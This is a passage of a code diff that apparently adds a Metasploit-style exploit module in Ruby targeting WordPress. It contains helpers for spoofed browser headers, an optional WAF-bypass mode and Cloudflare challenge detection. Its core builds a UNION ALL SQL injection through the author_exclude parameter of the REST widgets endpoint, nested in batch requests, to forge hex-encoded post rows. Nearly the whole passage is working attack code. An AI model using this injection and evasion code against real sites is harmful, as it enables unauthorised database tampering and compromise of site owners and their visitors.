"#{proto}://#{target_host}#{port_str}#{normalize_uri(base_uri, path)}" + end + + def browser_headers + h = { + 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36', + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language' => 'en-US,en;q=0.5', + } + if datastore['WAF_BYPASS'] + h['Origin'] = full_uri('') + h['Referer'] = full_uri('wp-admin/') + end + h + end + + def cloudflare_challenge?(res) + return false unless res + return true if res.code == 403 && res.body.to_s.include?('cf-ray') + return true if res.code == 503 && res.body.to_s.include?('Checking your browser') + return true if res.body.to_s.include?('challenges.cloudflare.com') + false + end + + def hex_encode(str) + return "''" if str.nil? || str.empty? + "0x#{str.unpack1('H*')}" + end + + def post_row(post_id, content, title, status, name, parent, post_type) + h = method(:hex_encode) + [ + post_id.to_s, '1', + h.call('2020-01-01 00:00:00'), h.call('2020-01-01 00:00:00'), + h.call(content), h.call(title), "''", + h.call(status), h.call('closed'), h.call('closed'), "''", + h.call(name), "''", "''", + h.call('2020-01-01 00:00:00'), h.call('2020-01-01 00:00:00'), "''", + parent.to_s, "''", '0', + h.call(post_type), "''", '0', + ].join(',') + end + + def forge_rows(rows, extra_requests: []) + query = "1) AND 1=0 UNION ALL SELECT " + rows.join(" UNION ALL SELECT ") + " -- -" + + if datastore['WAF_BYPASS'] + query_path = "/wp/v2/widgets?author_exclude=#{query}&per_page=-1&orderby=none&context=view" + else + query_path = "/wp/v2/widgets?#{URI.encode_www_form( + 'author_exclude' => query, 'per_page' => -1, + 'orderby' => 'none', 'context' => 'view' + )}" + end + + inner_requests = [ + { 'method' => 'GET', 'path' => primer }, + { 'method' => 'GET', 'path' => query_path }, + { 'method' => 'GET', 'path' => '/wp/v2/posts' }, + ] + extra_requests + + payload_hash = { + 'requests' => [ + { 'method' => 'POST', 'path' => primer }, + { 'method' => 'POST', 'path' => '/wp/v2/posts', 'body' => { + 'requests' => inner_requests + }}, + { 'method' => 'POST', 'path' => '/batch/v1' }, + ] + } + + send_batch(payload_hash, 'timeout' => 60) + end +end